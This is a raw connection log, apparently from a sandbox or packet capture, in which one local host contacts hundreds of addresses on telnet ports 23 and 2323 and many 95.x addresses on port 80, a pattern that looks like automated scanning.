Oct 29, 2024 20:52:39.068978071 CET	50634	80	192.168.2.13	95.211.54.78
Oct 29, 2024 20:52:39.069699049 CET	54802	80	192.168.2.13	95.255.74.14
Oct 29, 2024 20:52:39.070696115 CET	37718	80	192.168.2.13	95.6.43.146
Oct 29, 2024 20:52:39.071846008 CET	57560	80	192.168.2.13	95.91.140.190
Oct 29, 2024 20:52:39.072823048 CET	33010	80	192.168.2.13	95.18.234.42
Oct 29, 2024 20:52:39.073498964 CET	80	58836	95.47.14.229	192.168.2.13
Oct 29, 2024 20:52:39.073589087 CET	58836	80	192.168.2.13	95.47.14.229
Oct 29, 2024 20:52:39.073874950 CET	40182	80	192.168.2.13	95.1.92.165
Oct 29, 2024 20:52:39.074677944 CET	42438	80	192.168.2.13	95.196.128.235
Oct 29, 2024 20:52:39.075598955 CET	47846	80	192.168.2.13	95.66.73.134
Oct 29, 2024 20:52:39.076421976 CET	42994	80	192.168.2.13	95.136.117.15
Oct 29, 2024 20:52:39.077327967 CET	58824	80	192.168.2.13	95.56.29.111
Oct 29, 2024 20:52:39.078157902 CET	42554	80	192.168.2.13	95.47.64.52
Oct 29, 2024 20:52:39.078887939 CET	36006	80	192.168.2.13	95.149.138.4
Oct 29, 2024 20:52:39.079771042 CET	33736	80	192.168.2.13	95.184.197.135
Oct 29, 2024 20:52:39.080677032 CET	37938	80	192.168.2.13	95.168.167.177
Oct 29, 2024 20:52:39.080979109 CET	80	47846	95.66.73.134	192.168.2.13
Oct 29, 2024 20:52:39.081063032 CET	47846	80	192.168.2.13	95.66.73.134
Oct 29, 2024 20:52:39.081396103 CET	56052	80	192.168.2.13	95.224.150.61
Oct 29, 2024 20:52:39.082210064 CET	35654	80	192.168.2.13	95.8.60.229
Oct 29, 2024 20:52:39.083147049 CET	45570	80	192.168.2.13	95.13.76.244
Oct 29, 2024 20:52:39.084017992 CET	56424	80	192.168.2.13	95.94.61.60
Oct 29, 2024 20:52:39.084886074 CET	57690	80	192.168.2.13	95.51.47.133
Oct 29, 2024 20:52:39.085782051 CET	33866	80	192.168.2.13	95.78.27.219
Oct 29, 2024 20:52:39.086858034 CET	41000	80	192.168.2.13	95.113.141.135
Oct 29, 2024 20:52:39.087615013 CET	57896	80	192.168.2.13	95.211.85.186
Oct 29, 2024 20:52:39.088546038 CET	58370	80	192.168.2.13	95.52.84.234
Oct 29, 2024 20:52:39.089498997 CET	34272	80	192.168.2.13	95.5.24.82
Oct 29, 2024 20:52:39.090456963 CET	56326	23	192.168.2.13	19.74.24.141
Oct 29, 2024 20:52:39.090461016 CET	56326	2323	192.168.2.13	60.222.195.252
Oct 29, 2024 20:52:39.090475082 CET	56326	23	192.168.2.13	90.35.248.93
Oct 29, 2024 20:52:39.090476036 CET	56326	23	192.168.2.13	89.68.39.54
Oct 29, 2024 20:52:39.090476990 CET	56326	23	192.168.2.13	193.94.128.207
Oct 29, 2024 20:52:39.090476990 CET	56326	23	192.168.2.13	216.143.82.179
Oct 29, 2024 20:52:39.090492964 CET	56326	23	192.168.2.13	67.237.110.97
Oct 29, 2024 20:52:39.090503931 CET	56326	23	192.168.2.13	193.90.224.183
Oct 29, 2024 20:52:39.090508938 CET	56326	23	192.168.2.13	102.163.98.46
Oct 29, 2024 20:52:39.090508938 CET	56326	2323	192.168.2.13	206.67.184.120
Oct 29, 2024 20:52:39.090511084 CET	56326	23	192.168.2.13	165.176.102.159
Oct 29, 2024 20:52:39.090531111 CET	56326	23	192.168.2.13	205.114.133.54
Oct 29, 2024 20:52:39.090536118 CET	56326	23	192.168.2.13	191.199.65.152
Oct 29, 2024 20:52:39.090536118 CET	56326	23	192.168.2.13	203.10.153.121
Oct 29, 2024 20:52:39.090545893 CET	56326	23	192.168.2.13	60.201.248.39
Oct 29, 2024 20:52:39.090565920 CET	56326	23	192.168.2.13	143.221.50.142
Oct 29, 2024 20:52:39.090567112 CET	56326	23	192.168.2.13	103.11.183.203
Oct 29, 2024 20:52:39.090567112 CET	56326	23	192.168.2.13	104.166.45.174
Oct 29, 2024 20:52:39.090575933 CET	56326	2323	192.168.2.13	50.39.232.49
Oct 29, 2024 20:52:39.090575933 CET	56326	23	192.168.2.13	104.177.105.188
Oct 29, 2024 20:52:39.090584993 CET	56326	23	192.168.2.13	200.240.37.227
Oct 29, 2024 20:52:39.090584993 CET	56326	23	192.168.2.13	111.222.33.22
Oct 29, 2024 20:52:39.090586901 CET	56326	23	192.168.2.13	27.70.106.26
Oct 29, 2024 20:52:39.090586901 CET	56326	23	192.168.2.13	206.41.73.210
Oct 29, 2024 20:52:39.090590954 CET	56326	23	192.168.2.13	138.247.174.144
Oct 29, 2024 20:52:39.090610027 CET	56326	23	192.168.2.13	138.233.120.42
Oct 29, 2024 20:52:39.090611935 CET	56326	23	192.168.2.13	172.239.130.223
Oct 29, 2024 20:52:39.090612888 CET	56426	80	192.168.2.13	95.150.58.37
Oct 29, 2024 20:52:39.090619087 CET	56326	23	192.168.2.13	73.32.113.81
Oct 29, 2024 20:52:39.090625048 CET	56326	23	192.168.2.13	96.47.151.148
Oct 29, 2024 20:52:39.090626001 CET	56326	23	192.168.2.13	177.83.15.57
Oct 29, 2024 20:52:39.090643883 CET	56326	2323	192.168.2.13	156.75.185.145
Oct 29, 2024 20:52:39.090646029 CET	56326	23	192.168.2.13	152.117.54.126
Oct 29, 2024 20:52:39.090646029 CET	56326	23	192.168.2.13	221.63.142.151
Oct 29, 2024 20:52:39.090646029 CET	56326	23	192.168.2.13	138.160.56.54
Oct 29, 2024 20:52:39.090651989 CET	56326	23	192.168.2.13	200.223.75.215
Oct 29, 2024 20:52:39.090651989 CET	56326	23	192.168.2.13	170.159.144.142
Oct 29, 2024 20:52:39.090651989 CET	56326	23	192.168.2.13	134.174.101.87
Oct 29, 2024 20:52:39.090666056 CET	56326	23	192.168.2.13	157.133.6.253
Oct 29, 2024 20:52:39.090677023 CET	56326	23	192.168.2.13	47.51.131.112
Oct 29, 2024 20:52:39.090677023 CET	56326	2323	192.168.2.13	146.237.8.97
Oct 29, 2024 20:52:39.090678930 CET	56326	23	192.168.2.13	152.91.55.71
Oct 29, 2024 20:52:39.090686083 CET	56326	23	192.168.2.13	108.188.137.178
Oct 29, 2024 20:52:39.090723038 CET	56326	23	192.168.2.13	1.24.144.103
Oct 29, 2024 20:52:39.090727091 CET	56326	23	192.168.2.13	141.226.140.144
Oct 29, 2024 20:52:39.090727091 CET	56326	23	192.168.2.13	77.69.67.107
Oct 29, 2024 20:52:39.090727091 CET	56326	23	192.168.2.13	175.136.144.172
Oct 29, 2024 20:52:39.090728998 CET	56326	23	192.168.2.13	120.84.167.15
Oct 29, 2024 20:52:39.090745926 CET	56326	23	192.168.2.13	167.94.138.65
Oct 29, 2024 20:52:39.090747118 CET	56326	23	192.168.2.13	142.104.29.15
Oct 29, 2024 20:52:39.090747118 CET	56326	23	192.168.2.13	139.35.193.57
Oct 29, 2024 20:52:39.090748072 CET	56326	2323	192.168.2.13	71.71.6.82
Oct 29, 2024 20:52:39.090761900 CET	56326	23	192.168.2.13	102.197.158.42
Oct 29, 2024 20:52:39.090761900 CET	56326	23	192.168.2.13	12.218.116.13
Oct 29, 2024 20:52:39.090761900 CET	56326	23	192.168.2.13	74.54.177.140
Oct 29, 2024 20:52:39.090769053 CET	56326	23	192.168.2.13	80.117.190.124
Oct 29, 2024 20:52:39.090775967 CET	56326	23	192.168.2.13	19.201.210.220
Oct 29, 2024 20:52:39.090784073 CET	56326	23	192.168.2.13	129.28.220.15
Oct 29, 2024 20:52:39.090786934 CET	56326	23	192.168.2.13	115.232.52.175
Oct 29, 2024 20:52:39.090790987 CET	56326	23	192.168.2.13	68.25.123.61
Oct 29, 2024 20:52:39.090807915 CET	56326	2323	192.168.2.13	39.28.190.250
Oct 29, 2024 20:52:39.090807915 CET	56326	23	192.168.2.13	67.85.26.141
Oct 29, 2024 20:52:39.090826988 CET	56326	23	192.168.2.13	69.107.74.112
Oct 29, 2024 20:52:39.090826988 CET	56326	23	192.168.2.13	43.223.83.204
Oct 29, 2024 20:52:39.090831041 CET	56326	23	192.168.2.13	148.216.163.202
Oct 29, 2024 20:52:39.090831041 CET	56326	23	192.168.2.13	44.95.81.10
Oct 29, 2024 20:52:39.090831041 CET	56326	23	192.168.2.13	218.113.52.199
Oct 29, 2024 20:52:39.090833902 CET	56326	23	192.168.2.13	50.154.159.210
Oct 29, 2024 20:52:39.090833902 CET	56326	23	192.168.2.13	40.245.233.166
Oct 29, 2024 20:52:39.090852976 CET	56326	23	192.168.2.13	34.26.52.2
Oct 29, 2024 20:52:39.090863943 CET	56326	23	192.168.2.13	108.151.73.110
Oct 29, 2024 20:52:39.090872049 CET	56326	23	192.168.2.13	103.255.65.68
Oct 29, 2024 20:52:39.090879917 CET	56326	23	192.168.2.13	53.109.182.85
Oct 29, 2024 20:52:39.090883017 CET	56326	23	192.168.2.13	41.194.164.228
Oct 29, 2024 20:52:39.090888977 CET	56326	23	192.168.2.13	25.82.88.1
Oct 29, 2024 20:52:39.090898991 CET	56326	23	192.168.2.13	151.222.255.177
Oct 29, 2024 20:52:39.090898991 CET	56326	23	192.168.2.13	123.183.207.47
Oct 29, 2024 20:52:39.090908051 CET	56326	2323	192.168.2.13	142.54.77.22
Oct 29, 2024 20:52:39.090908051 CET	56326	23	192.168.2.13	168.178.68.122
Oct 29, 2024 20:52:39.090929985 CET	56326	23	192.168.2.13	43.138.181.111
Oct 29, 2024 20:52:39.090931892 CET	56326	23	192.168.2.13	182.143.222.179
Oct 29, 2024 20:52:39.090931892 CET	56326	23	192.168.2.13	159.179.212.208
Oct 29, 2024 20:52:39.090945959 CET	56326	23	192.168.2.13	57.210.2.73
Oct 29, 2024 20:52:39.090955019 CET	56326	23	192.168.2.13	167.44.48.126
Oct 29, 2024 20:52:39.090955019 CET	56326	2323	192.168.2.13	167.38.193.254
Oct 29, 2024 20:52:39.090955973 CET	56326	23	192.168.2.13	121.177.246.42
Oct 29, 2024 20:52:39.090959072 CET	56326	23	192.168.2.13	142.229.27.137
Oct 29, 2024 20:52:39.090960026 CET	56326	2323	192.168.2.13	85.3.174.243
Oct 29, 2024 20:52:39.090960026 CET	56326	23	192.168.2.13	105.186.19.173
Oct 29, 2024 20:52:39.090960026 CET	56326	23	192.168.2.13	113.140.219.204
Oct 29, 2024 20:52:39.090960026 CET	56326	23	192.168.2.13	131.210.172.146
Oct 29, 2024 20:52:39.090960026 CET	56326	23	192.168.2.13	104.250.27.139
Oct 29, 2024 20:52:39.090966940 CET	56326	23	192.168.2.13	40.57.111.236
Oct 29, 2024 20:52:39.090976000 CET	56326	23	192.168.2.13	46.150.237.215
Oct 29, 2024 20:52:39.090976000 CET	56326	23	192.168.2.13	165.213.127.234
Oct 29, 2024 20:52:39.090976000 CET	56326	23	192.168.2.13	151.130.23.225
Oct 29, 2024 20:52:39.090995073 CET	56326	23	192.168.2.13	19.115.214.206
Oct 29, 2024 20:52:39.090995073 CET	56326	23	192.168.2.13	176.68.216.98
Oct 29, 2024 20:52:39.091011047 CET	56326	23	192.168.2.13	68.164.146.108
Oct 29, 2024 20:52:39.091011047 CET	56326	2323	192.168.2.13	86.12.95.247
Oct 29, 2024 20:52:39.091015100 CET	56326	23	192.168.2.13	1.157.72.63
Oct 29, 2024 20:52:39.091015100 CET	56326	23	192.168.2.13	4.239.153.23
Oct 29, 2024 20:52:39.091017962 CET	56326	23	192.168.2.13	64.205.155.71
Oct 29, 2024 20:52:39.091018915 CET	56326	23	192.168.2.13	212.181.17.94
Oct 29, 2024 20:52:39.091023922 CET	56326	23	192.168.2.13	112.25.60.12
Oct 29, 2024 20:52:39.091029882 CET	56326	23	192.168.2.13	8.156.60.29
Oct 29, 2024 20:52:39.091029882 CET	56326	23	192.168.2.13	124.15.126.186
Oct 29, 2024 20:52:39.091032028 CET	56326	23	192.168.2.13	46.2.203.134
Oct 29, 2024 20:52:39.091037035 CET	56326	23	192.168.2.13	211.112.160.144
Oct 29, 2024 20:52:39.091053009 CET	56326	23	192.168.2.13	17.193.162.146
Oct 29, 2024 20:52:39.091054916 CET	56326	23	192.168.2.13	150.149.86.167
Oct 29, 2024 20:52:39.091058969 CET	56326	2323	192.168.2.13	199.227.110.95
Oct 29, 2024 20:52:39.091078043 CET	56326	23	192.168.2.13	65.6.203.23
Oct 29, 2024 20:52:39.091099977 CET	56326	23	192.168.2.13	110.16.4.131
Oct 29, 2024 20:52:39.091099977 CET	56326	23	192.168.2.13	188.154.196.121
Oct 29, 2024 20:52:39.091104031 CET	56326	23	192.168.2.13	32.119.252.129
Oct 29, 2024 20:52:39.091113091 CET	56326	23	192.168.2.13	155.243.72.31
Oct 29, 2024 20:52:39.091119051 CET	56326	23	192.168.2.13	206.24.147.190
Oct 29, 2024 20:52:39.091120005 CET	56326	23	192.168.2.13	194.37.149.34
Oct 29, 2024 20:52:39.091120005 CET	56326	23	192.168.2.13	184.248.96.212
Oct 29, 2024 20:52:39.091120005 CET	56326	23	192.168.2.13	31.176.128.46
Oct 29, 2024 20:52:39.091156960 CET	56326	23	192.168.2.13	82.88.125.210
Oct 29, 2024 20:52:39.091157913 CET	56326	2323	192.168.2.13	108.236.25.23
Oct 29, 2024 20:52:39.091156960 CET	56326	23	192.168.2.13	201.72.39.57
Oct 29, 2024 20:52:39.091167927 CET	56326	23	192.168.2.13	162.73.151.181
Oct 29, 2024 20:52:39.091169119 CET	56326	23	192.168.2.13	157.116.26.193
Oct 29, 2024 20:52:39.091180086 CET	56326	23	192.168.2.13	45.210.153.113
Oct 29, 2024 20:52:39.091187954 CET	56326	23	192.168.2.13	219.23.37.2
Oct 29, 2024 20:52:39.091195107 CET	56326	23	192.168.2.13	18.49.69.98
Oct 29, 2024 20:52:39.091196060 CET	56326	23	192.168.2.13	182.209.132.97
Oct 29, 2024 20:52:39.091201067 CET	56326	2323	192.168.2.13	49.195.253.78
Oct 29, 2024 20:52:39.091202974 CET	56326	23	192.168.2.13	34.61.132.122
Oct 29, 2024 20:52:39.091202974 CET	56326	23	192.168.2.13	24.12.25.76
Oct 29, 2024 20:52:39.091223001 CET	56326	23	192.168.2.13	121.247.4.5
Oct 29, 2024 20:52:39.091227055 CET	56326	23	192.168.2.13	147.123.242.128
Oct 29, 2024 20:52:39.091238022 CET	56326	23	192.168.2.13	39.201.204.236
Oct 29, 2024 20:52:39.091238022 CET	56326	23	192.168.2.13	12.19.38.11
Oct 29, 2024 20:52:39.091240883 CET	56326	23	192.168.2.13	65.40.4.237
Oct 29, 2024 20:52:39.091250896 CET	56326	23	192.168.2.13	58.13.231.126
Oct 29, 2024 20:52:39.091253042 CET	56326	23	192.168.2.13	14.129.202.107
Oct 29, 2024 20:52:39.091253042 CET	56326	23	192.168.2.13	95.65.73.8
Oct 29, 2024 20:52:39.091262102 CET	56326	2323	192.168.2.13	41.98.212.209
Oct 29, 2024 20:52:39.091279984 CET	56326	23	192.168.2.13	162.146.11.128
Oct 29, 2024 20:52:39.091281891 CET	56326	23	192.168.2.13	49.46.76.77
Oct 29, 2024 20:52:39.091284037 CET	56326	23	192.168.2.13	176.92.231.59
Oct 29, 2024 20:52:39.091284990 CET	56326	23	192.168.2.13	18.154.90.145
Oct 29, 2024 20:52:39.091284990 CET	56326	23	192.168.2.13	9.65.126.55
Oct 29, 2024 20:52:39.091284990 CET	56326	23	192.168.2.13	36.14.94.70
Oct 29, 2024 20:52:39.091284990 CET	56326	23	192.168.2.13	112.62.181.132
Oct 29, 2024 20:52:39.091285944 CET	56326	23	192.168.2.13	18.183.11.82
Oct 29, 2024 20:52:39.091303110 CET	56326	23	192.168.2.13	74.203.32.124
Oct 29, 2024 20:52:39.091305017 CET	56326	23	192.168.2.13	37.176.162.14
Oct 29, 2024 20:52:39.091306925 CET	56326	23	192.168.2.13	63.114.29.155
Oct 29, 2024 20:52:39.091310024 CET	56326	2323	192.168.2.13	140.217.96.112
Oct 29, 2024 20:52:39.091331005 CET	56326	23	192.168.2.13	27.178.216.74
Oct 29, 2024 20:52:39.091336966 CET	56326	23	192.168.2.13	174.148.7.236
Oct 29, 2024 20:52:39.091336966 CET	56326	23	192.168.2.13	109.109.144.102
Oct 29, 2024 20:52:39.091362000 CET	56326	23	192.168.2.13	74.36.69.6
Oct 29, 2024 20:52:39.091363907 CET	56326	23	192.168.2.13	100.220.15.78
Oct 29, 2024 20:52:39.091367960 CET	56326	23	192.168.2.13	115.91.144.153
Oct 29, 2024 20:52:39.091368914 CET	56326	23	192.168.2.13	170.221.17.20
Oct 29, 2024 20:52:39.091382027 CET	56326	23	192.168.2.13	161.171.206.137
Oct 29, 2024 20:52:39.091382980 CET	56326	23	192.168.2.13	4.36.28.147
Oct 29, 2024 20:52:39.091382980 CET	56326	2323	192.168.2.13	184.216.134.139
Oct 29, 2024 20:52:39.091382980 CET	56326	23	192.168.2.13	126.225.216.97
Oct 29, 2024 20:52:39.091402054 CET	56326	23	192.168.2.13	77.240.158.131
Oct 29, 2024 20:52:39.091407061 CET	56326	23	192.168.2.13	202.73.144.126
Oct 29, 2024 20:52:39.091409922 CET	56326	2323	192.168.2.13	201.224.134.191
Oct 29, 2024 20:52:39.091414928 CET	56326	23	192.168.2.13	205.225.1.35
Oct 29, 2024 20:52:39.091414928 CET	56326	23	192.168.2.13	221.132.220.82
Oct 29, 2024 20:52:39.091414928 CET	56326	23	192.168.2.13	171.248.84.241
Oct 29, 2024 20:52:39.091414928 CET	56326	23	192.168.2.13	210.160.78.230
Oct 29, 2024 20:52:39.091418028 CET	56326	23	192.168.2.13	165.203.86.96
Oct 29, 2024 20:52:39.091418028 CET	56326	23	192.168.2.13	139.29.223.208
Oct 29, 2024 20:52:39.091418028 CET	56326	23	192.168.2.13	184.156.109.224
Oct 29, 2024 20:52:39.091425896 CET	56326	23	192.168.2.13	79.198.164.47
Oct 29, 2024 20:52:39.091435909 CET	56326	23	192.168.2.13	187.178.158.118
Oct 29, 2024 20:52:39.091444016 CET	56326	23	192.168.2.13	65.110.133.62
Oct 29, 2024 20:52:39.091448069 CET	56326	23	192.168.2.13	13.230.52.220
Oct 29, 2024 20:52:39.091448069 CET	56326	23	192.168.2.13	132.104.210.206
Oct 29, 2024 20:52:39.091461897 CET	56326	23	192.168.2.13	155.118.59.73
Oct 29, 2024 20:52:39.091461897 CET	56326	2323	192.168.2.13	52.107.27.26
Oct 29, 2024 20:52:39.091475964 CET	56326	23	192.168.2.13	178.116.98.130
Oct 29, 2024 20:52:39.091475964 CET	56326	23	192.168.2.13	137.7.57.135
Oct 29, 2024 20:52:39.091476917 CET	56326	23	192.168.2.13	144.68.207.97
Oct 29, 2024 20:52:39.091476917 CET	56326	23	192.168.2.13	175.151.148.44
Oct 29, 2024 20:52:39.091495037 CET	56326	23	192.168.2.13	131.101.111.74
Oct 29, 2024 20:52:39.091495037 CET	56326	23	192.168.2.13	222.148.43.115
Oct 29, 2024 20:52:39.091495037 CET	56326	23	192.168.2.13	208.121.200.28
Oct 29, 2024 20:52:39.091500044 CET	56326	23	192.168.2.13	123.111.128.234
Oct 29, 2024 20:52:39.091500044 CET	56326	23	192.168.2.13	197.130.90.38
Oct 29, 2024 20:52:39.091500044 CET	56326	23	192.168.2.13	184.132.44.234
Oct 29, 2024 20:52:39.091509104 CET	56326	23	192.168.2.13	204.136.28.202
Oct 29, 2024 20:52:39.091516018 CET	56326	23	192.168.2.13	47.249.37.145
Oct 29, 2024 20:52:39.091517925 CET	56326	2323	192.168.2.13	204.84.59.6
Oct 29, 2024 20:52:39.091536999 CET	56326	23	192.168.2.13	67.117.170.7
Oct 29, 2024 20:52:39.091536999 CET	56326	23	192.168.2.13	150.153.228.159
Oct 29, 2024 20:52:39.091538906 CET	56326	23	192.168.2.13	188.76.11.85
Oct 29, 2024 20:52:39.091540098 CET	40884	80	192.168.2.13	95.216.253.47
Oct 29, 2024 20:52:39.091547012 CET	56326	23	192.168.2.13	50.95.75.222
Oct 29, 2024 20:52:39.091547012 CET	56326	23	192.168.2.13	139.159.221.12
Oct 29, 2024 20:52:39.091552973 CET	56326	2323	192.168.2.13	25.53.18.172
Oct 29, 2024 20:52:39.091556072 CET	56326	23	192.168.2.13	137.27.252.43
Oct 29, 2024 20:52:39.091563940 CET	56326	23	192.168.2.13	142.149.42.105
Oct 29, 2024 20:52:39.091573000 CET	56326	23	192.168.2.13	163.168.27.108
Oct 29, 2024 20:52:39.091588020 CET	56326	23	192.168.2.13	57.136.78.248
Oct 29, 2024 20:52:39.091588020 CET	56326	23	192.168.2.13	198.200.26.107
Oct 29, 2024 20:52:39.091588020 CET	56326	23	192.168.2.13	72.9.56.107
Oct 29, 2024 20:52:39.091609955 CET	56326	23	192.168.2.13	14.18.147.144
Oct 29, 2024 20:52:39.091625929 CET	56326	23	192.168.2.13	54.36.118.6
Oct 29, 2024 20:52:39.091625929 CET	56326	23	192.168.2.13	104.111.46.100
Oct 29, 2024 20:52:39.091631889 CET	56326	2323	192.168.2.13	32.107.200.191
Oct 29, 2024 20:52:39.091633081 CET	56326	23	192.168.2.13	107.35.247.236
Oct 29, 2024 20:52:39.091633081 CET	56326	23	192.168.2.13	147.37.179.93
Oct 29, 2024 20:52:39.091646910 CET	56326	23	192.168.2.13	117.169.220.89
Oct 29, 2024 20:52:39.091650963 CET	56326	23	192.168.2.13	195.90.65.7
Oct 29, 2024 20:52:39.091653109 CET	56326	23	192.168.2.13	145.211.81.202
Oct 29, 2024 20:52:39.091661930 CET	56326	23	192.168.2.13	204.172.197.83
Oct 29, 2024 20:52:39.091679096 CET	56326	23	192.168.2.13	66.184.156.78
Oct 29, 2024 20:52:39.091681004 CET	56326	23	192.168.2.13	72.207.213.197
Oct 29, 2024 20:52:39.091681957 CET	56326	2323	192.168.2.13	129.57.89.92
Oct 29, 2024 20:52:39.091701984 CET	56326	23	192.168.2.13	139.73.240.37
Oct 29, 2024 20:52:39.091702938 CET	56326	23	192.168.2.13	193.31.11.174
Oct 29, 2024 20:52:39.091702938 CET	56326	23	192.168.2.13	67.170.255.138
Oct 29, 2024 20:52:39.091703892 CET	56326	23	192.168.2.13	93.179.245.38
Oct 29, 2024 20:52:39.091702938 CET	56326	23	192.168.2.13	178.19.164.61
Oct 29, 2024 20:52:39.091703892 CET	56326	23	192.168.2.13	82.37.207.181
Oct 29, 2024 20:52:39.091720104 CET	56326	23	192.168.2.13	173.58.161.241
Oct 29, 2024 20:52:39.091720104 CET	56326	23	192.168.2.13	57.232.8.134
Oct 29, 2024 20:52:39.091723919 CET	56326	23	192.168.2.13	104.78.175.245
Oct 29, 2024 20:52:39.091732025 CET	56326	23	192.168.2.13	1.212.219.109
Oct 29, 2024 20:52:39.091732025 CET	56326	23	192.168.2.13	140.75.215.186
Oct 29, 2024 20:52:39.091744900 CET	56326	23	192.168.2.13	205.201.209.254
Oct 29, 2024 20:52:39.091746092 CET	56326	2323	192.168.2.13	158.71.63.124
Oct 29, 2024 20:52:39.091764927 CET	56326	23	192.168.2.13	203.236.153.254
Oct 29, 2024 20:52:39.091794014 CET	56326	23	192.168.2.13	149.175.15.77
Oct 29, 2024 20:52:39.091795921 CET	56326	23	192.168.2.13	160.117.125.240
Oct 29, 2024 20:52:39.091797113 CET	56326	23	192.168.2.13	74.242.51.85
Oct 29, 2024 20:52:39.091797113 CET	56326	23	192.168.2.13	140.45.96.33
Oct 29, 2024 20:52:39.091798067 CET	56326	23	192.168.2.13	174.229.187.179
Oct 29, 2024 20:52:39.091799974 CET	56326	23	192.168.2.13	190.7.126.163
Oct 29, 2024 20:52:39.091805935 CET	56326	23	192.168.2.13	184.249.1.144
Oct 29, 2024 20:52:39.091806889 CET	56326	2323	192.168.2.13	188.172.160.218
Oct 29, 2024 20:52:39.091808081 CET	56326	23	192.168.2.13	200.208.143.57
Oct 29, 2024 20:52:39.091811895 CET	56326	23	192.168.2.13	131.71.128.108
Oct 29, 2024 20:52:39.091821909 CET	56326	23	192.168.2.13	128.187.236.89
Oct 29, 2024 20:52:39.091825962 CET	56326	23	192.168.2.13	140.4.237.134
Oct 29, 2024 20:52:39.091825962 CET	56326	23	192.168.2.13	202.43.31.203
Oct 29, 2024 20:52:39.091825962 CET	56326	23	192.168.2.13	43.59.249.1
Oct 29, 2024 20:52:39.091855049 CET	56326	23	192.168.2.13	86.167.190.210
Oct 29, 2024 20:52:39.091861010 CET	56326	23	192.168.2.13	194.114.233.158
Oct 29, 2024 20:52:39.091866016 CET	56326	23	192.168.2.13	208.2.128.121
Oct 29, 2024 20:52:39.091866970 CET	56326	23	192.168.2.13	200.43.194.50
Oct 29, 2024 20:52:39.091866970 CET	56326	2323	192.168.2.13	211.31.175.165
Oct 29, 2024 20:52:39.091867924 CET	56326	23	192.168.2.13	155.5.252.21
Oct 29, 2024 20:52:39.091867924 CET	56326	23	192.168.2.13	133.101.183.88
Oct 29, 2024 20:52:39.091866970 CET	56326	23	192.168.2.13	175.63.102.47
Oct 29, 2024 20:52:39.091886997 CET	56326	23	192.168.2.13	89.90.190.153
Oct 29, 2024 20:52:39.091891050 CET	56326	23	192.168.2.13	141.79.32.15
Oct 29, 2024 20:52:39.091908932 CET	56326	23	192.168.2.13	66.210.197.2
Oct 29, 2024 20:52:39.091908932 CET	56326	23	192.168.2.13	86.218.14.115
Oct 29, 2024 20:52:39.091917992 CET	56326	23	192.168.2.13	216.38.194.39
Oct 29, 2024 20:52:39.091927052 CET	56326	23	192.168.2.13	123.20.237.160
Oct 29, 2024 20:52:39.091928005 CET	56326	2323	192.168.2.13	12.212.46.245
Oct 29, 2024 20:52:39.091928005 CET	56326	23	192.168.2.13	154.228.210.1
Oct 29, 2024 20:52:39.091928959 CET	56326	23	192.168.2.13	5.211.199.91
Oct 29, 2024 20:52:39.091933966 CET	56326	23	192.168.2.13	179.147.12.14
Oct 29, 2024 20:52:39.091943979 CET	56326	23	192.168.2.13	119.187.180.43
Oct 29, 2024 20:52:39.091947079 CET	56326	23	192.168.2.13	115.180.18.85
Oct 29, 2024 20:52:39.091947079 CET	56326	23	192.168.2.13	73.143.111.197
Oct 29, 2024 20:52:39.091953993 CET	56326	23	192.168.2.13	17.228.131.157
Oct 29, 2024 20:52:39.091970921 CET	56326	2323	192.168.2.13	106.107.21.163
Oct 29, 2024 20:52:39.091970921 CET	56326	23	192.168.2.13	147.59.56.15
Oct 29, 2024 20:52:39.091973066 CET	56326	23	192.168.2.13	213.52.191.209
Oct 29, 2024 20:52:39.091973066 CET	56326	23	192.168.2.13	90.173.80.123
Oct 29, 2024 20:52:39.091973066 CET	56326	23	192.168.2.13	222.221.128.64
Oct 29, 2024 20:52:39.091979980 CET	56326	23	192.168.2.13	156.141.134.236
Oct 29, 2024 20:52:39.092000961 CET	56326	23	192.168.2.13	162.230.99.144
Oct 29, 2024 20:52:39.092010975 CET	56326	23	192.168.2.13	124.30.98.12
Oct 29, 2024 20:52:39.092011929 CET	56326	23	192.168.2.13	66.178.131.63
Oct 29, 2024 20:52:39.092012882 CET	56326	23	192.168.2.13	27.48.176.76
Oct 29, 2024 20:52:39.092012882 CET	56326	23	192.168.2.13	207.73.85.72
Oct 29, 2024 20:52:39.092012882 CET	56326	2323	192.168.2.13	99.42.221.125
Oct 29, 2024 20:52:39.092032909 CET	56326	23	192.168.2.13	209.11.44.117
Oct 29, 2024 20:52:39.092034101 CET	56326	23	192.168.2.13	194.196.54.94
Oct 29, 2024 20:52:39.092034101 CET	56326	23	192.168.2.13	151.252.50.116
Oct 29, 2024 20:52:39.092036963 CET	56326	23	192.168.2.13	138.132.124.158
Oct 29, 2024 20:52:39.092057943 CET	56326	23	192.168.2.13	132.252.158.254
Oct 29, 2024 20:52:39.092058897 CET	56326	23	192.168.2.13	137.190.163.108
Oct 29, 2024 20:52:39.092067957 CET	56326	2323	192.168.2.13	79.214.194.145
Oct 29, 2024 20:52:39.092072010 CET	56326	23	192.168.2.13	69.64.75.77
Oct 29, 2024 20:52:39.092072010 CET	56326	23	192.168.2.13	156.211.237.223
Oct 29, 2024 20:52:39.092072010 CET	56326	23	192.168.2.13	31.133.90.249
Oct 29, 2024 20:52:39.092072010 CET	56326	23	192.168.2.13	130.158.194.46
Oct 29, 2024 20:52:39.092072964 CET	56326	23	192.168.2.13	39.224.40.2
Oct 29, 2024 20:52:39.092072964 CET	56326	23	192.168.2.13	8.254.195.142
Oct 29, 2024 20:52:39.092072964 CET	56326	23	192.168.2.13	68.147.133.23
Oct 29, 2024 20:52:39.092072964 CET	56326	23	192.168.2.13	111.90.47.4
Oct 29, 2024 20:52:39.092083931 CET	56326	23	192.168.2.13	44.61.8.91
Oct 29, 2024 20:52:39.092087984 CET	56326	23	192.168.2.13	146.220.11.154
Oct 29, 2024 20:52:39.092087984 CET	56326	23	192.168.2.13	53.73.18.26
Oct 29, 2024 20:52:39.092097044 CET	56326	23	192.168.2.13	99.198.193.208
Oct 29, 2024 20:52:39.092097044 CET	56326	2323	192.168.2.13	142.215.139.194
Oct 29, 2024 20:52:39.092103958 CET	56326	23	192.168.2.13	218.44.199.238
Oct 29, 2024 20:52:39.092117071 CET	56326	23	192.168.2.13	121.54.137.198
Oct 29, 2024 20:52:39.092120886 CET	56326	23	192.168.2.13	163.194.70.6
Oct 29, 2024 20:52:39.092120886 CET	56326	23	192.168.2.13	151.53.162.163
Oct 29, 2024 20:52:39.092124939 CET	56326	23	192.168.2.13	63.156.128.185
Oct 29, 2024 20:52:39.092140913 CET	56326	23	192.168.2.13	63.27.229.210
Oct 29, 2024 20:52:39.092140913 CET	56326	23	192.168.2.13	105.192.36.243
Oct 29, 2024 20:52:39.092140913 CET	56326	2323	192.168.2.13	53.244.156.227
Oct 29, 2024 20:52:39.092149019 CET	56326	23	192.168.2.13	104.32.114.254
